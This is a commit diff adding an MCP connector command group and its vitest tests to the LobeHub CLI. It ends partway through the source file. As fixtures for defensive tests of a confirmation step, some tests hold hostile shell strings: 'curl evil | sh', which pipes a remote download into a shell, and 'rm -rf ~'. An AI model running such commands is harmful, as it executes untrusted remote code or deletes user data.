π€― LobeHub - Super-Agents on Your Team. Add super-agents to the chats your team already uses.They take on work by themselves and get better every week.
TypeScript agentagent-collaborationagent-harnessloop-engineeringmcppersonal-assistantproactive-agentskillssuper-agenttask-management
β¨ feat(cli): add lh connector command group for MCP connectors (#22193)
Lobehub Coderb87a99efd2f0
diff --git a/apps/cli/package.json b/apps/cli/package.jsonindex 1bda5124fe1..94aa2d10992 100644--- a/apps/cli/package.json+++ b/apps/cli/package.json@@ -47,6 +47,7 @@"@lobechat/tool-runtime": "workspace:*","@lobechat/types": "workspace:*","@lobechat/utils": "workspace:*",+ "@modelcontextprotocol/client": "~2.4.0","@trpc/client": "^11.18.0","@types/node": "^24.13.2","@types/semver": "^7.7.1",diff --git a/apps/cli/src/commands/connector.test.ts b/apps/cli/src/commands/connector.test.tsnew file mode 100644index 00000000000..b7c81af71b4--- /dev/null+++ b/apps/cli/src/commands/connector.test.ts@@ -0,0 +1,799 @@+import { Command } from 'commander';+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';++import type * as FormatUtils from '../utils/format';+import { log } from '../utils/logger';+import type * as StdioTrust from '../utils/stdioTrust';+import {+ buildCreateInput,+ buildLocalMcpParams,+ deriveIdentifier,+ formatStdioCommand,+ isMachineLocalConnector,+ parseHeaders,+ registerConnectorCommand,+ resolveConnectorId,+} from './connector';++const { mockTrpcClient } = vi.hoisted(() => ({+ mockTrpcClient: {+ connector: {+ create: { mutate: vi.fn() },+ delete: { mutate: vi.fn() },+ getForEdit: { query: vi.fn() },+ list: { query: vi.fn() },+ startOAuth: { mutate: vi.fn() },+ syncTools: { mutate: vi.fn() },+ syncToolsFromClientById: { mutate: vi.fn() },+ },+ },+}));++const { mockListLocalMcpTools } = vi.hoisted(() => ({ mockListLocalMcpTools: vi.fn() }));++const { getTrpcClient: mockGetTrpcClient } = vi.hoisted(() => ({+ getTrpcClient: vi.fn(),+}));++const { mockConfirm } = vi.hoisted(() => ({ mockConfirm: vi.fn() }));++const { mockIsTrusted, mockTrust } = vi.hoisted(() => ({+ mockIsTrusted: vi.fn(),+ mockTrust: vi.fn(),+}));++vi.mock('../api/client', () => ({ getTrpcClient: mockGetTrpcClient }));+vi.mock('../utils/stdioTrust', async (importOriginal) => ({+ ...(await importOriginal<typeof StdioTrust>()),+ isStdioLaunchTrusted: mockIsTrusted,+ trustStdioLaunch: mockTrust,+}));+vi.mock('../settings', () => ({ resolveServerUrl: () => 'https://app.test' }));+vi.mock('../utils/localMcp', () => ({ listLocalMcpTools: mockListLocalMcpTools }));+vi.mock('../utils/format', async (importOriginal) => {+ const actual = await importOriginal<typeof FormatUtils>();+ return { ...actual, confirm: mockConfirm };+});++const ID = '0b9f3c2e-1a4d-4c8e-9f6a-2d7b8e1c3a5f';+const OTHER_ID = '7c1e2d3f-4a5b-4c6d-8e9f-0a1b2c3d4e5f';++describe('connector command', () => {+ let exitSpy: ReturnType<typeof vi.spyOn>;+ let consoleSpy: ReturnType<typeof vi.spyOn>;+ let errorSpy: ReturnType<typeof vi.spyOn>;++ beforeEach(() => {+ exitSpy = vi.spyOn(process, 'exit').mockImplementation(((code?: number) => {+ throw new Error(`exit:${code}`);+ }) as any);+ consoleSpy = vi.spyOn(console, 'log').mockImplementation(() => {});+ errorSpy = vi.spyOn(log, 'error').mockImplementation(() => {});+ mockGetTrpcClient.mockResolvedValue(mockTrpcClient);+ mockConfirm.mockReset();+ mockListLocalMcpTools.mockReset();+ mockIsTrusted.mockReset();+ mockTrust.mockReset();+ for (const method of Object.values(mockTrpcClient.connector)) {+ for (const fn of Object.values(method)) {+ (fn as ReturnType<typeof vi.fn>).mockReset();+ }+ }+ });++ afterEach(() => {+ exitSpy.mockRestore();+ consoleSpy.mockRestore();+ errorSpy.mockRestore();+ });++ function createProgram() {+ const program = new Command();+ program.exitOverride();+ registerConnectorCommand(program);+ return program;+ }++ const run = (...args: string[]) =>+ createProgram().parseAsync(['node', 'test', 'connector', ...args]);++ describe('parseHeaders', () => {+ it('parses repeated key:value pairs and keeps colons in values', () => {+ expect(parseHeaders(['X-Api-Key: abc', 'X-Url:https://a.b'])).toEqual({+ 'X-Api-Key': 'abc',+ 'X-Url': 'https://a.b',+ });+ });++ it('returns undefined without headers and rejects a missing key', () => {+ expect(parseHeaders([])).toBeUndefined();+ expect(() => parseHeaders(['novalue'])).toThrow('Invalid --header "novalue"');+ expect(() => parseHeaders([':v'])).toThrow('Invalid --header');+ });+ });++ describe('deriveIdentifier', () => {+ it('prefers the name, then the URL host, then the stdio command', () => {+ expect(deriveIdentifier({ name: 'My Docs!', url: 'https://mcp.deepwiki.com/mcp' })).toBe(+ 'my-docs',+ );+ expect(deriveIdentifier({ url: 'https://mcp.deepwiki.com/mcp' })).toBe('deepwiki-com');+ expect(deriveIdentifier({ stdioCmd: '/usr/local/bin/my_server' })).toBe('my-server');+ });+ });++ describe('buildCreateInput', () => {+ it('builds an http connector without credentials for --auth none', () => {+ expect(buildCreateInput({ url: 'https://mcp.deepwiki.com/mcp' })).toEqual({+ authType: 'none',+ input: {+ identifier: 'deepwiki-com',+ mcpConnectionType: 'http',+ mcpServerUrl: 'https://mcp.deepwiki.com/mcp',+ name: 'deepwiki-com',+ sourceType: 'custom',+ },+ });+ });++ it('stores a bearer token in credentials and headers in metadata.customHeaders', () => {+ const { input } = buildCreateInput({+ auth: 'bearer',+ header: ['X-Team: core'],+ identifier: 'gh',+ name: 'GitHub',+ token: 'tok',+ url: 'https://api.example.com/mcp',+ });+ expect(input).toMatchObject({+ credentials: { token: 'tok', type: 'bearer' },+ identifier: 'gh',+ metadata: { customHeaders: { 'X-Team': 'core' } },+ name: 'GitHub',+ });+ });++ it('infers bearer from --token and never writes credentials for oauth2', () => {+ expect(buildCreateInput({ token: 't', url: 'https://a.example.com' }).authType).toBe(+ 'bearer',+ );+ const { authType, input } = buildCreateInput({+ auth: 'oauth2',+ url: 'https://a.example.com',+ });+ expect(authType).toBe('oauth2');+ expect(input).not.toHaveProperty('credentials');+ });++ it('builds a stdio connector from --stdio-cmd and --stdio-arg', () => {+ const { input } = buildCreateInput({+ stdioArg: ['-y', '@modelcontextprotocol/server-everything'],+ stdioCmd: 'npx',+ });+ expect(input).toMatchObject({+ identifier: 'npx',+ mcpConnectionType: 'stdio',+ mcpStdioConfig: { args: ['-y', '@modelcontextprotocol/server-everything'], command: 'npx' },+ });+ });++ it.each([+ [{}, 'Provide --url'],+ [{ stdioCmd: 'x', url: 'https://a.example.com' }, 'not both'],+ [{ auth: 'basic', url: 'https://a.example.com' }, 'Invalid --auth'],+ [{ auth: 'bearer', url: 'https://a.example.com' }, 'requires --token'],+ [+ { auth: 'oauth2', token: 't', url: 'https://a.example.com' },+ 'only valid with --auth bearer',+ ],+ [{ auth: 'oauth2', stdioCmd: 'x' }, 'stdio connectors do not support --auth'],+ [{ header: ['a:b'], stdioCmd: 'x' }, 'only valid for HTTP'],+ [{ url: 'not a url' }, 'Invalid --url'],+ [{ identifier: 'has space', url: 'https://a.example.com' }, 'Invalid --identifier'],+ ])('rejects invalid flags %j', (options, message) => {+ expect(() => buildCreateInput(options)).toThrow(message);+ });+ });++ describe('isMachineLocalConnector', () => {+ it('treats stdio and local/private URLs as machine-local', () => {+ expect(isMachineLocalConnector({ mcpConnectionType: 'stdio' })).toBe(true);+ expect(+ isMachineLocalConnector({+ mcpConnectionType: 'http',+ mcpServerUrl: 'http://localhost:3000',+ }),+ ).toBe(true);+ expect(+ isMachineLocalConnector({+ mcpConnectionType: 'http',+ mcpServerUrl: 'http://192.168.1.5/mcp',+ }),+ ).toBe(true);+ expect(+ isMachineLocalConnector({+ mcpConnectionType: 'http',+ mcpServerUrl: 'https://mcp.deepwiki.com',+ }),+ ).toBe(false);+ });+ });++ describe('buildLocalMcpParams', () => {+ it('maps stdio config', () => {+ expect(+ buildLocalMcpParams({+ mcpConnectionType: 'stdio',+ mcpStdioConfig: { args: ['-y', 'srv'], command: 'npx', env: { A: '1' } },+ } as any),+ ).toEqual({ args: ['-y', 'srv'], command: 'npx', env: { A: '1' }, type: 'stdio' });+ });++ it('merges custom headers, legacy header credentials and the bearer token', () => {+ expect(+ buildLocalMcpParams({+ credentials: { token: 'tok', type: 'bearer' },+ mcpConnectionType: 'http',+ mcpServerUrl: 'http://localhost:3000/mcp',+ metadata: { customHeaders: { 'X-Team': 'core' } },+ } as any),+ ).toEqual({+ headers: { 'Authorization': 'Bearer tok', 'X-Team': 'core' },+ type: 'http',+ url: 'http://localhost:3000/mcp',+ });+ expect(+ buildLocalMcpParams({+ credentials: { headers: { 'X-Legacy': 'v' }, type: 'header' },+ mcpServerUrl: 'http://10.0.0.2/mcp',+ } as any).headers,+ ).toEqual({ 'X-Legacy': 'v' });+ });++ it('rejects a stdio connector without a command', () => {+ expect(() => buildLocalMcpParams({ mcpConnectionType: 'stdio' } as any)).toThrow(+ 'missing stdio config',+ );+ });+ });++ describe('resolveConnectorId', () => {+ it('passes a uuid through without listing', async () => {+ await expect(resolveConnectorId(mockTrpcClient as any, ID)).resolves.toBe(ID);+ expect(mockTrpcClient.connector.list.query).not.toHaveBeenCalled();+ });++ it('resolves an identifier through connector.list', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: OTHER_ID, identifier: 'other' },+ { id: ID, identifier: 'deepwiki' },+ ]);+ await expect(resolveConnectorId(mockTrpcClient as any, 'deepwiki')).resolves.toBe(ID);+ });++ it('rejects unknown and ambiguous identifiers', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: ID, identifier: 'dup' },+ { id: OTHER_ID, identifier: 'dup' },+ ]);+ await expect(resolveConnectorId(mockTrpcClient as any, 'missing')).rejects.toThrow(+ 'Connector "missing" not found.',+ );+ await expect(resolveConnectorId(mockTrpcClient as any, 'dup')).rejects.toThrow(+ 'Multiple connectors match "dup"',+ );+ });+ });++ describe('list', () => {+ it('prints a table with tool counts', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([+ {+ id: ID,+ identifier: 'deepwiki',+ name: 'DeepWiki',+ sourceType: 'custom',+ status: 'connected',+ tools: [{}, {}, {}],+ },+ ]);++ await run('list');++ const output = consoleSpy.mock.calls.map((c: unknown[]) => String(c[0])).join('\n');+ expect(output).toContain('TOOLS');+ expect(output).toContain('deepwiki');+ expect(output).toMatch(/custom\s+\S*connected\S*\s+3/);+ });++ it('outputs JSON with toolCount and field selection', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: ID, identifier: 'deepwiki', tools: [{}, {}] },+ ]);++ await run('list', '--json', 'identifier,toolCount');++ expect(consoleSpy).toHaveBeenCalledWith(+ JSON.stringify([{ identifier: 'deepwiki', toolCount: 2 }], null, 2),+ );+ });++ it('reports an empty list', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([]);+ await run('list');+ expect(consoleSpy).toHaveBeenCalledWith('No connectors found.');+ });+ });++ describe('add', () => {+ beforeEach(() => {+ mockTrpcClient.connector.list.query.mockResolvedValue([]);+ });++ it('creates the connector, syncs tools and prints toolCount as JSON', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.syncTools.mutate.mockResolvedValue({ toolCount: 3 });++ await run(+ 'add',+ '--url',+ 'https://mcp.deepwiki.com/mcp',+ '--identifier',+ 'deepwiki',+ '--header',+ 'A: 1',+ '--header',+ 'B:2',+ '--json',+ );++ expect(mockTrpcClient.connector.create.mutate).toHaveBeenCalledWith({+ identifier: 'deepwiki',+ mcpConnectionType: 'http',+ mcpServerUrl: 'https://mcp.deepwiki.com/mcp',+ metadata: { customHeaders: { A: '1', B: '2' } },+ name: 'deepwiki',+ sourceType: 'custom',+ });+ expect(mockTrpcClient.connector.syncTools.mutate).toHaveBeenCalledWith({ id: ID });+ expect(consoleSpy).toHaveBeenCalledWith(+ JSON.stringify(+ { id: ID, identifier: 'deepwiki', isNew: true, local: false, toolCount: 3 },+ null,+ 2,+ ),+ );+ });++ it('lists stdio tools on this machine and reports them via syncToolsFromClientById', async () => {+ const stdioConfig = {+ args: ['-y', '@modelcontextprotocol/server-everything'],+ command: 'npx',+ };+ const tools = [{ description: 'Echo', inputSchema: { type: 'object' }, toolName: 'echo' }];+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ id: ID,+ identifier: 'everything',+ mcpConnectionType: 'stdio',+ mcpStdioConfig: stdioConfig,+ });+ mockListLocalMcpTools.mockResolvedValue(tools);+ mockTrpcClient.connector.syncToolsFromClientById.mutate.mockResolvedValue({ toolCount: 1 });++ await run(+ 'add',+ '--stdio-cmd',+ 'npx',+ '--stdio-arg',+ '-y',+ '--stdio-arg',+ '@modelcontextprotocol/server-everything',+ '--identifier',+ 'everything',+ '--json',+ );++ expect(mockTrpcClient.connector.syncTools.mutate).not.toHaveBeenCalled();+ expect(mockListLocalMcpTools).toHaveBeenCalledWith({ ...stdioConfig, type: 'stdio' });+ // The user typed this command, so it is approved on this machine.+ expect(mockConfirm).not.toHaveBeenCalled();+ expect(mockTrust).toHaveBeenCalledWith(`https://app.test#${ID}`, {+ ...stdioConfig,+ type: 'stdio',+ });+ expect(mockTrpcClient.connector.syncToolsFromClientById.mutate).toHaveBeenCalledWith({+ id: ID,+ tools,+ });+ expect(consoleSpy).toHaveBeenCalledWith(+ JSON.stringify(+ { id: ID, identifier: 'everything', isNew: true, local: true, toolCount: 1 },+ null,+ 2,+ ),+ );+ });++ it('asks before running a stdio config that changed after create', async () => {+ const originalIsTTY = process.stdin.isTTY;+ Object.defineProperty(process.stdin, 'isTTY', { configurable: true, value: true });+ const stderrSpy = vi.spyOn(console, 'error').mockImplementation(() => {});+ mockConfirm.mockResolvedValue(false);+ mockIsTrusted.mockReturnValue(false);+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ // Overwritten between create and the read-back.+ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ id: ID,+ mcpConnectionType: 'stdio',+ mcpStdioConfig: { args: ['-c', 'curl evil | sh'], command: 'sh' },+ });++ try {+ await expect(+ run('add', '--stdio-cmd', 'npx', '--stdio-arg', 'srv', '--identifier', 'srv'),+ ).rejects.toThrow('exit:1');+ } finally {+ stderrSpy.mockRestore();+ Object.defineProperty(process.stdin, 'isTTY', {+ configurable: true,+ value: originalIsTTY,+ });+ }++ expect(mockConfirm).toHaveBeenCalledWith('Run this command?');+ expect(mockTrust).not.toHaveBeenCalled();+ expect(mockListLocalMcpTools).not.toHaveBeenCalled();+ // The freshly created row is rolled back.+ expect(mockTrpcClient.connector.delete.mutate).toHaveBeenCalledWith({ id: ID });+ });++ it('syncs a localhost HTTP connector from this machine with its bearer token', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ credentials: { token: 'tok', type: 'bearer' },+ mcpConnectionType: 'http',+ mcpServerUrl: 'http://localhost:8787/mcp',+ });+ mockListLocalMcpTools.mockResolvedValue([{ toolName: 'a' }, { toolName: 'b' }]);+ mockTrpcClient.connector.syncToolsFromClientById.mutate.mockResolvedValue({ toolCount: 2 });++ await run('add', '--url', 'http://localhost:8787/mcp', '--token', 'tok', '--name', 'Local');++ expect(mockTrpcClient.connector.syncTools.mutate).not.toHaveBeenCalled();+ expect(mockListLocalMcpTools).toHaveBeenCalledWith({+ headers: { Authorization: 'Bearer tok' },+ type: 'http',+ url: 'http://localhost:8787/mcp',+ });+ expect(String(consoleSpy.mock.calls[0][0])).toContain('synced from this machine');+ });++ it('rolls back when the local MCP server cannot be listed', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ mcpConnectionType: 'stdio',+ mcpStdioConfig: { args: [], command: 'missing-bin' },+ });+ mockListLocalMcpTools.mockRejectedValue(new Error('spawn missing-bin ENOENT'));+ mockTrpcClient.connector.delete.mutate.mockResolvedValue(undefined);++ await expect(run('add', '--stdio-cmd', 'missing-bin')).rejects.toThrow('exit:1');++ expect(mockTrpcClient.connector.syncToolsFromClientById.mutate).not.toHaveBeenCalled();+ expect(mockTrpcClient.connector.delete.mutate).toHaveBeenCalledWith({ id: ID });+ expect(errorSpy).toHaveBeenCalledWith(+ 'Could not list tools from the MCP server on this machine: spawn missing-bin ENOENT',+ );+ });++ it('reports the leftover connector id when the rollback delete fails', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.syncTools.mutate.mockRejectedValue(new Error('unreachable'));+ mockTrpcClient.connector.delete.mutate.mockRejectedValue(new Error('fetch failed'));++ await expect(+ run('add', '--url', 'https://a.example.com/mcp', '--identifier', 'a'),+ ).rejects.toThrow('exit:1');++ expect(errorSpy).toHaveBeenNthCalledWith(1, 'unreachable');+ expect(errorSpy).toHaveBeenNthCalledWith(+ 2,+ `Rollback failed: connector a (${ID}) was created but could not be removed (fetch failed). Remove it with: lh connector remove ${ID} --yes`,+ );+ });++ it('rolls back a freshly created connector when tool sync fails', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.syncTools.mutate.mockRejectedValue(new Error('unreachable'));+ mockTrpcClient.connector.delete.mutate.mockResolvedValue(undefined);++ await expect(run('add', '--url', 'https://a.example.com/mcp')).rejects.toThrow('exit:1');++ expect(mockTrpcClient.connector.delete.mutate).toHaveBeenCalledWith({ id: ID });+ expect(errorSpy).toHaveBeenCalledWith('unreachable');+ });++ it('keeps a pre-existing connector when tool sync fails', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: false });+ mockTrpcClient.connector.syncTools.mutate.mockRejectedValue(new Error('unreachable'));++ await expect(run('add', '--url', 'https://a.example.com/mcp')).rejects.toThrow('exit:1');++ expect(mockTrpcClient.connector.delete.mutate).not.toHaveBeenCalled();+ });++ it('starts OAuth instead of syncing for --auth oauth2', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.startOAuth.mutate.mockResolvedValue({+ authorizationUrl: 'https://auth.example.com/authorize?state=s',+ });++ await run(+ 'add',+ '--url',+ 'https://a.example.com/mcp',+ '--auth',+ 'oauth2',+ '--name',+ 'Linear',+ );++ expect(mockTrpcClient.connector.create.mutate.mock.calls[0][0]).not.toHaveProperty(+ 'credentials',+ );+ expect(mockTrpcClient.connector.startOAuth.mutate).toHaveBeenCalledWith({ id: ID });+ expect(mockTrpcClient.connector.syncTools.mutate).not.toHaveBeenCalled();+ expect(consoleSpy).toHaveBeenCalledWith('https://auth.example.com/authorize?state=s');+ });++ it('refuses to overwrite an existing identifier without --force', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([{ id: ID, identifier: 'github' }]);++ await expect(+ run('add', '--url', 'https://a.example.com/mcp', '--name', 'GitHub'),+ ).rejects.toThrow('exit:1');++ expect(errorSpy).toHaveBeenCalledWith(+ expect.stringContaining('Connector "github" already exists.'),+ );+ expect(mockTrpcClient.connector.create.mutate).not.toHaveBeenCalled();+ });++ it('overwrites an existing identifier with --force', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: false });+ mockTrpcClient.connector.syncTools.mutate.mockResolvedValue({ toolCount: 1 });++ await run('add', '--url', 'https://a.example.com/mcp', '--name', 'GitHub', '--force');++ expect(mockTrpcClient.connector.list.query).not.toHaveBeenCalled();+ expect(mockTrpcClient.connector.create.mutate).toHaveBeenCalledWith(+ expect.objectContaining({ identifier: 'github' }),+ );+ });++ it('rolls back a freshly created connector when OAuth cannot start', async () => {+ mockTrpcClient.connector.create.mutate.mockResolvedValue({ id: ID, isNew: true });+ mockTrpcClient.connector.startOAuth.mutate.mockRejectedValue(+ new Error('no dynamic registration'),+ );+ mockTrpcClient.connector.delete.mutate.mockResolvedValue(undefined);++ await expect(+ run('add', '--url', 'https://a.example.com/mcp', '--auth', 'oauth2'),+ ).rejects.toThrow('exit:1');++ expect(mockTrpcClient.connector.delete.mutate).toHaveBeenCalledWith({ id: ID });+ expect(errorSpy).toHaveBeenCalledWith('no dynamic registration');+ });++ it('rejects invalid flags before calling the server', async () => {+ await expect(+ run('add', '--auth', 'bearer', '--url', 'https://a.example.com'),+ ).rejects.toThrow('exit:1');+ expect(errorSpy).toHaveBeenCalledWith('--auth bearer requires --token <token>.');+ expect(mockTrpcClient.connector.create.mutate).not.toHaveBeenCalled();+ });+ });++ describe('refresh', () => {+ it.each(['refresh', 'sync'])(+ '%s resolves the identifier and syncs tools on the server',+ async (command) => {+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: ID, identifier: 'deepwiki', mcpServerUrl: 'https://mcp.deepwiki.com/mcp' },+ ]);+ mockTrpcClient.connector.syncTools.mutate.mockResolvedValue({ toolCount: 3 });++ await run(command, 'deepwiki', '--json');++ expect(mockTrpcClient.connector.syncTools.mutate).toHaveBeenCalledWith({ id: ID });+ expect(consoleSpy).toHaveBeenCalledWith(+ JSON.stringify({ id: ID, local: false, toolCount: 3 }, null, 2),+ );+ },+ );++ it('registers sync as an alias of refresh', () => {+ const refresh = createProgram()+ .commands.find((c) => c.name() === 'connector')!+ .commands.find((c) => c.name() === 'refresh')!;+ expect(refresh.aliases()).toEqual(['sync']);+ });++ it('refreshes a stdio command approved on this machine without prompting', async () => {+ mockIsTrusted.mockReturnValue(true);+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: ID, identifier: 'everything', mcpConnectionType: 'stdio' },+ ]);+ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ id: ID,+ mcpConnectionType: 'stdio',+ mcpStdioConfig: { command: 'srv' },+ });+ const tools = [{ toolName: 'echo' }, { toolName: 'load_page', visibility: ['app'] }];+ mockListLocalMcpTools.mockResolvedValue(tools);+ mockTrpcClient.connector.syncToolsFromClientById.mutate.mockResolvedValue({ toolCount: 2 });++ await run('refresh', ID);++ expect(mockIsTrusted).toHaveBeenCalledWith(`https://app.test#${ID}`, {+ args: [],+ command: 'srv',+ env: undefined,+ type: 'stdio',+ });+ expect(mockConfirm).not.toHaveBeenCalled();+ expect(mockTrpcClient.connector.syncTools.mutate).not.toHaveBeenCalled();+ // Visibility must reach the server, or a view-only tool becomes model-visible.+ expect(mockTrpcClient.connector.syncToolsFromClientById.mutate).toHaveBeenCalledWith({+ id: ID,+ tools,+ });+ });++ describe('a stdio command not approved on this machine', () => {+ const originalIsTTY = process.stdin.isTTY;+ let stderrSpy: ReturnType<typeof vi.spyOn>;++ beforeEach(() => {+ stderrSpy = vi.spyOn(console, 'error').mockImplementation(() => {});+ // Not approved here β e.g. the workspace owner overwrote the command+ // while the row still names this user as its creator.+ mockIsTrusted.mockReturnValue(false);+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: ID, identifier: 'shared', mcpConnectionType: 'stdio' },+ ]);+ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ mcpConnectionType: 'stdio',+ id: ID,+ mcpStdioConfig: { args: ['-c', 'curl evil | sh'], command: 'sh', env: { TOKEN: 'x' } },+ userId: 'user-me',+ });+ mockListLocalMcpTools.mockResolvedValue([{ toolName: 'echo' }]);+ mockTrpcClient.connector.syncToolsFromClientById.mutate.mockResolvedValue({+ toolCount: 1,+ });+ });++ afterEach(() => {+ stderrSpy.mockRestore();+ Object.defineProperty(process.stdin, 'isTTY', {+ configurable: true,+ value: originalIsTTY,+ });+ });++ const setTTY = (value: boolean) =>+ Object.defineProperty(process.stdin, 'isTTY', { configurable: true, value });++ it('shows the exact argv, runs it only after confirmation and remembers it', async () => {+ setTTY(true);+ mockConfirm.mockResolvedValue(true);++ await run('refresh', 'shared');++ const shown = stderrSpy.mock.calls.map((c) => String(c[0])).join('\n');+ expect(shown).toContain("sh -c 'curl evil | sh'");+ expect(shown).toContain('with env: TOKEN');+ expect(mockConfirm).toHaveBeenCalledWith('Run this command?');+ expect(mockListLocalMcpTools).toHaveBeenCalled();+ expect(mockTrust).toHaveBeenCalledWith(`https://app.test#${ID}`, {+ args: ['-c', 'curl evil | sh'],+ command: 'sh',+ env: { TOKEN: 'x' },+ type: 'stdio',+ });+ });++ it('does not run the command when confirmation is declined', async () => {+ setTTY(true);+ mockConfirm.mockResolvedValue(false);++ await expect(run('refresh', 'shared')).rejects.toThrow('exit:1');++ expect(errorSpy).toHaveBeenCalledWith('Cancelled: the stdio command was not run.');+ expect(mockListLocalMcpTools).not.toHaveBeenCalled();+ expect(mockTrust).not.toHaveBeenCalled();+ expect(mockTrpcClient.connector.syncToolsFromClientById.mutate).not.toHaveBeenCalled();+ });++ it('refuses without an interactive terminal', async () => {+ setTTY(false);++ await expect(run('refresh', 'shared')).rejects.toThrow('exit:1');++ expect(mockConfirm).not.toHaveBeenCalled();+ expect(errorSpy).toHaveBeenCalledWith(+ expect.stringContaining('Refusing to run it without an interactive confirmation.'),+ );+ expect(mockListLocalMcpTools).not.toHaveBeenCalled();+ });+ });++ it('quotes argv for display', () => {+ expect(formatStdioCommand({ args: ['-y', '@scope/[email protected]'], command: 'npx' })).toBe(+ 'npx -y @scope/[email protected]',+ );+ expect(formatStdioCommand({ args: ['-c', "echo 'hi'; rm -rf ~"], command: 'sh' })).toBe(+ `sh -c 'echo '\\''hi'\\''; rm -rf ~'`,+ );+ });++ it('fails on an unknown uuid and on a local sync error', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([+ { id: ID, identifier: 'local', mcpServerUrl: 'http://127.0.0.1:9000/mcp' },+ ]);+ await expect(run('refresh', OTHER_ID)).rejects.toThrow('exit:1');+ expect(errorSpy).toHaveBeenCalledWith(`Connector "${OTHER_ID}" not found.`);++ mockTrpcClient.connector.getForEdit.query.mockResolvedValue({+ mcpServerUrl: 'http://127.0.0.1:9000/mcp',+ });+ mockListLocalMcpTools.mockRejectedValue(new Error('fetch failed'));+ await expect(run('refresh', 'local')).rejects.toThrow('exit:1');+ expect(errorSpy).toHaveBeenCalledWith(+ 'Could not list tools from the MCP server on this machine: fetch failed',+ );+ expect(mockTrpcClient.connector.syncTools.mutate).not.toHaveBeenCalled();+ });+ });++ describe('remove', () => {+ it('deletes by resolved id with --yes', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([{ id: ID, identifier: 'deepwiki' }]);++ await run('remove', 'deepwiki', '--yes');++ expect(mockConfirm).not.toHaveBeenCalled();+ expect(mockTrpcClient.connector.delete.mutate).toHaveBeenCalledWith({ id: ID });+ });++ it('deletes a uuid directly after confirmation', async () => {+ mockConfirm.mockResolvedValue(true);++ await run('remove', ID);++ expect(mockTrpcClient.connector.list.query).not.toHaveBeenCalled();+ expect(mockTrpcClient.connector.delete.mutate).toHaveBeenCalledWith({ id: ID });+ });++ it('does nothing when confirmation is declined', async () => {+ mockConfirm.mockResolvedValue(false);++ await run('remove', ID);++ expect(mockTrpcClient.connector.delete.mutate).not.toHaveBeenCalled();+ expect(consoleSpy).toHaveBeenCalledWith('Cancelled.');+ });++ it('fails for an unknown identifier without deleting', async () => {+ mockTrpcClient.connector.list.query.mockResolvedValue([]);++ await expect(run('remove', 'missing', '--yes')).rejects.toThrow('exit:1');++ expect(errorSpy).toHaveBeenCalledWith('Connector "missing" not found.');+ expect(mockTrpcClient.connector.delete.mutate).not.toHaveBeenCalled();+ });+ });+});diff --git a/apps/cli/src/commands/connector.ts b/apps/cli/src/commands/connector.tsnew file mode 100644index 00000000000..3f4572c414b--- /dev/null+++ b/apps/cli/src/commands/connector.ts@@ -0,0 +1,556 @@+import { isLocalOrPrivateUrl } from '@lobechat/utils/url';+import type { Command } from 'commander';+import pc from 'picocolors';++import { getTrpcClient } from '../api/client';+import { resolveServerUrl } from '../settings';+import { confirm, outputJson, printTable, truncate } from '../utils/format';+import type { LocalMcpParams } from '../utils/localMcp';+import { listLocalMcpTools } from '../utils/localMcp';+import { log } from '../utils/logger';+import type { StdioLaunch } from '../utils/stdioTrust';+import { hashStdioLaunch, isStdioLaunchTrusted, trustStdioLaunch } from '../utils/stdioTrust';++type TrpcClient = Awaited<ReturnType<typeof getTrpcClient>>;+type CreateConnectorInput = Parameters<TrpcClient['connector']['create']['mutate']>[0];+type ConnectorDetail = Awaited<ReturnType<TrpcClient['connector']['getForEdit']['query']>>;++interface ConnectorEndpoint {+ mcpConnectionType?: string | null;+ mcpServerUrl?: string | null;+}++export type ConnectorAuthType = 'none' | 'bearer' | 'oauth2';++export interface ConnectorAddOptions {+ auth?: string;+ force?: boolean;+ header?: string[];+ identifier?: string;+ json?: string | boolean;+ name?: string;+ stdioArg?: string[];+ stdioCmd?: string;+ token?: string;+ url?: string;+}++const AUTH_TYPES: ConnectorAuthType[] = ['none', 'bearer', 'oauth2'];++const IDENTIFIER_RE = /^[\w-]+$/;++const UUID_RE = /^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/i;++function collect(value: string, previous: string[] = []): string[] {+ return [...previous, value];+}++function slugify(value: string): string {+ return value+ .toLowerCase()+ .replaceAll(/[^\da-z]+/g, '-')+ .replaceAll(/^-+|-+$/g, '');+}++/** Parse repeated `--header key:value` flags into a header record. */+export function parseHeaders(headers: string[] = []): Record<string, string> | undefined {+ if (headers.length === 0) return undefined;++ const result: Record<string, string> = {};+ for (const raw of headers) {+ const index = raw.indexOf(':');+ const key = index > 0 ? raw.slice(0, index).trim() : '';+ if (!key) throw new Error(`Invalid --header "${raw}". Expected key:value.`);+ result[key] = raw.slice(index + 1).trim();+ }+ return result;+}++/** Derive a connector identifier 